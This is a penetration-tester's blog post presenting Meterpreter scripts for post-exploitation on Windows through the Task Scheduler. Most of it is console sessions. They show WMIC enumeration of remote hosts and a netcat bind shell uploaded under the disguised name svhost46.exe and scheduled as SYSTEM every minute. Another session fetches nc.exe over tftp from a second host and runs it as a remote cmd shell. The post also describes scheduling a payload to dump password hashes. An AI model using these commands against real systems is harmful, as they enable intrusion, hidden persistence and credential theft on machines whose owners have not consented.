Abusing the Scheduler with Meterpreter
Recently I had a chance to look at Val Smith and Collin Ames presentation that was presented in Defcon 16 called Meta-Post Exploitation. In the presentation they talk about many post-exploitations techniques I already knew as well as some new approaches to others. 3 specific tools that where demoed that caught my attention where MassWinenum and AtAbuse. I quickly modified my Remotewinenum script to support multiple targets, quite an easy task since most of the work was already done, the only difference is that I use WMIC to achieve this, I like to be as stealthy as possible an use the built in tools as much I can to my advantage. Here is a sample of the execution of the script:
meterpreter > run remotewinenum -t 192.168.1.7,192.168.1.8
[*] Running Enumeration against 192.168.1.7
[*] Saving report to /home/carlos/.msf3/logs/remotewinenum/192.168.1.7_20090410.0206
[*] Running WMIC Commands ....
[*] running command wimic environment list
[*] running command wimic share list
[*] running command wimic nicconfig list
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group list
[*] running command wimic sysaccount list
[*] running command wimic volume list brief
[*] running command wimic logicaldisk get description,filesystem,name,size
[*] running command wimic netlogin get name,lastlogon,badpasswordcount
[*] running command wimic netclient list brief
[*] running command wimic netuse get name,username,connectiontype,localname
[*] running command wimic share get name,path
[*] running command wimic nteventlog get path,filename,writeable
[*] running command wimic service list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic rdtoggle list
[*] running command wimic product get name,version
[*] running command wimic qfe list
[*] Running Enumeration against 192.168.1.8
[*] Saving report to /home/carlos/.msf3/logs/remotewinenum/192.168.1.8_20090410.0206
[*] Running WMIC Commands ....
[*] running command wimic environment list
[*] running command wimic share list
[*] running command wimic nicconfig list
[*] running command wimic computersystem list
[*] running command wimic useraccount list
[*] running command wimic group list
[*] running command wimic sysaccount list
[*] running command wimic volume list brief
[*] running command wimic logicaldisk get description,filesystem,name,size
[*] running command wimic netlogin get name,lastlogon,badpasswordcount
[*] running command wimic netclient list brief
[*] running command wimic netuse get name,username,connectiontype,localname
[*] running command wimic share get name,path
[*] running command wimic nteventlog get path,filename,writeable
[*] running command wimic service list brief
[*] running command wimic process list brief
[*] running command wimic startup list full
[*] running command wimic rdtoggle list
[*] running command wimic product get name,version
[*] running command wimic qfe list
meterpreter >
As it can be seen a comma separated target list can be provided now and the tool will execute either under the privileges under which Meterpreter is running or a username and password provided each report per host saved in a different file and location for later analysis.
The tool that draw most of my attention was the AtAbuser since it’s concept is extremely simple, for a long time I had been using the scheduler to schedule backdoors and for privilege escalation but Val Smith’s tools used it for remote command execution and since the privileges it runs under are as System this makes it a very powerful tool and as indicated the Scheduler service is one that is overlooked by many when hardening their servers. A set of tools came from this, the first one I call Scheduleme which it is for assisting in scheduling tasks on a local target or remote target.
meterpreter > run scheduleme
Scheduleme Meterpreter Script
This script provides most common scheduling types used during a pentest.
It has the functionality to upload a desired executable or script and schedule
the file uploaded. All scheduled task are as System so Meterpreter process must
be System or local admin for local schedules and Administrator for remore shcedules
-h Help menu.
-c <opt> Command to execute at the given time. If options for execution needed use double quotes
-d Daily.
-hr <opt> Every specified hours 1-23.
-m <opt> Every specified amount of minutes 1-1439
-l When a user logs on.
-s At system startup.
-i Run command imediatly and only once.
-r Remote Schedule. Executable has to be already on remote target
-e <opt> Executable or script to upload to target host, will not work with remote schedule
-o <opt> Options for executable when upload method used
-u Username of account with administrative privelages.
-p Password for account provided.
-t <opt> Remote system to schedule job.
meterpreter >
It also has the capability of uploading an executable and scheduling it on the target under which the Meterpreter session is running under. The options for scheduling are:
- Hourly
- Minutes
- At user logon
- At system startup
- Immediately
The script will run either as the privilege level under which Meterpreter is running or under the credentials provided, both for local and remote execution. I recently used this script in a pentest where I was able to gain access to a Windows 2008 server but do to the protection in Windows 2008 I could not dump the hashes even as Administrator so I scheduled a second Meterpreter payload to run immediately and since the schedules are done as system I was able to dump the hashes. The uploaded files are stored in the %TEMP% environment variable they receive a random name.
Setting a Netcat Backdoor first example will upload and set the backdoor, the second one is in the case the file already exists on the target machine:
meterpreter > run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
[*] Uploadingd /tmp/nc.exe....
[*] /tmp/nc.exe uploaded!
[*] Scheduling command C:\DOCUME~1\labuser\LOCALS~1\
Temp\svhost46.exe -e cmd.exe -L -p 8080 to run minute.....
[*] The scheduled task has been successfully created
[*] For cleanup run schtasks /delete /tn syscheck93 /F
meterpreter > run scheduleme -m 1 -c "C:\DOCUME~1\labuser\LOCALS~1\Temp\svhost46.exe -e cmd.exe -L -p 8088"
[*] Scheduling command C:DOCUME~1labuserLOCALS~1Tempsvhost46.exe -e cmd.exe -L -p 8088 to run minute.....
[*] The scheduled task has been successfully created
[*] For cleanup run schtasks /delete /tn syscheck47 /F
The other script that acts a bit more like the AtAbuser script that Val Smith demoed in his talk is the Schtaskabuse, it uses as the name implies the schtasks command instead of AT, one of the main reasons is flexibility and such flexibility makes it a more complex command to use in a shell but perfect for being scripted. The script will run a series command in a comma separated list and execute each of the command by scheduling the task, running the task immediately, waiting a specified time frame and then deleting the task. Just like the other scripts it will use the privileges of the process under which Meterpreter is running or credential can be provided. All commands will be executed under the context of system on the target box making this a very powerful tool under the right circumstances.
meterpreter > run schtasksabuse
Meterpreter session running as ACMEINC\Administrator
This Meterpreter script is for running commands on targets system using the
Windows Scheduler, it is based on the tool presented but not released by Val Smith
in Defcon 16 ATAbuser. If no user and password is given it will use the permissions
of the process Meterpreter is running under.
Options:
OPTIONS:
-c <opt> Commands to execute. Several command can be given but separated by commas and enclose the list in doble quotes if arguments are used.
-d <opt> Delay between the execution of commands in seconds, default is 2 seconds if not given.
-h Help menu.
-p <opt> Password for user account specified, it must be given if a user is given.
-t <opt> Remote system to schedule job.
-u <opt> Username to schedule task, if none is given the current user credentials will be used.
An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
meterpreter > run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
Meterpreter session running as ACMEINC\Administrator
[*] Scheduling command tftp -i 192.168.1.8 GET nc.exe to run .....
[*] The scheduled task has been successfully created
[*] Running command on 192.168.1.7
[*] Removing scheduled task
[*] Scheduling command nc -L -p 8080 -e cmd.exe to run .....
[*] The scheduled task has been successfully created
[*] Running command on 192.168.1.7
[*] Removing scheduled task
meterpreter >
This can be used to start services, upload payloads, fgdump or any other set of tools or command and execute them.
I hope that this tools are helpful and all feedback is welcomed. I will summit this tools to the Metasploit project for approval for commitment in to the current development branch
A firend of mine with whom I shared the initial versions of the scripts has used them in a recent pentests and had a couple of feature quest with I have added.
remotewinenum
- Accepts a list of targets from a file with one target address per linewith the -l switch.
schtaskabuse
- Accepts a list of targets from a file with one target address per line with the -l switch.
- Accepts a list of command from a file with one command per line with the -s switch.
One important note in the test of others and mine is that when scheduling commands a best practice is to use cmd /c at the begining of the commands since for some it will fail to provide the required results even do they are executed.